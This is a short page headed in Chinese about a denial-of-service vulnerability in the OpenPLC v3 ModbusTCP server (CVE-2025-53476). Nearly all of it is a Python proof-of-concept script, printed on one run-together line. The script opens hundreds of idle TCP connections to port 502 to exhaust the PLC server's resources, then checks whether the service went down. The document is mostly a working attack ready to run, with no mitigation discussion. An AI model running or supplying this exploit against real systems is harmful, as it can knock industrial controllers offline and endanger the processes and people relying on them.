OpenPLC v3 ModbusTCP服务器拒绝服务漏洞（CVE-2025-53476）

#!/usr/bin/env python3 # CVE-2025-53476 - OpenPLC v3 ModbusTCP Server Denial of Service PoC # This PoC demonstrates a DoS attack against OpenPLC v3's ModbusTCP server # by opening a series of TCP connections to exhaust server resources. import socket import threading import sys import time import argparse TARGET_HOST = "127.0.0.1" TARGET_PORT = 502 # Default ModbusTCP port NUM_CONNECTIONS = 200 # Number of concurrent connections to establish CONNECTION_TIMEOUT = 5 def open_connection(host, port, conn_id): """Open a TCP connection and hold it open to exhaust server resources.""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(CONNECTION_TIMEOUT) sock.connect((host, port)) print(f"[+] Connection {conn_id} established to {host}:{port}") # Hold the connection open without sending any data # This will consume server-side resources (file descriptors, threads, etc.) time.sleep(300) sock.close() except socket.error as e: print(f"[-] Connection {conn_id} failed: {e}") def verify_service_available(host, port): """Verify if the ModbusTCP service is still responsive.""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(3) sock.connect((host, port)) sock.close() return True except socket.error: return False def main(): parser = argparse.ArgumentParser(description="CVE-2025-53476 PoC - OpenPLC v3 ModbusTCP DoS") parser.add_argument("-t", "--target", default=TARGET_HOST, help="Target host IP address") parser.add_argument("-p", "--port", type=int, default=TARGET_PORT, help="Target ModbusTCP port") parser.add_argument("-c", "--connections", type=int, default=NUM_CONNECTIONS, help="Number of connections") args = parser.parse_args() print(f"[*] CVE-2025-53476 PoC - OpenPLC v3 ModbusTCP DoS") print(f"[*] Target: {args.target}:{args.port}") print(f"[*] Connections to open: {args.connections}") # Check if service is available before attack print("\n[*] Checking service availability before attack...") if verify_service_available(args.target, args.port): print("[+] Service is responsive before attack.") else: print("[-] Service is not responding. Aborting.") sys.exit(1) # Launch concurrent connections print(f"\n[*] Launching {args.connections} concurrent TCP connections...") threads = [] for i in range(args.connections): t = threading.Thread(target=open_connection, args=(args.target, args.port, i + 1)) t.daemon = True t.start() threads.append(t) time.sleep(0.05) # Small delay between connection attempts # Wait for connections to be established time.sleep(10) # Check if service is still available after attack print("\n[*] Checking service availability after attack...") if verify_service_available(args.target, args.port): print("[+] Service is still responsive. DoS may not have been triggered.") print("[*] Try increasing the number of connections.") else: print("[!] Service is no longer responding! DoS triggered successfully.") print("[!] CVE-2025-53476 has been exploited.") print("\n[*] Press Ctrl+C to exit and close all connections.") try: while True: time.sleep(1) except KeyboardInterrupt: print("\n[*] Closing connections and exiting.") sys.exit(0) if __name__ == "__main__": main()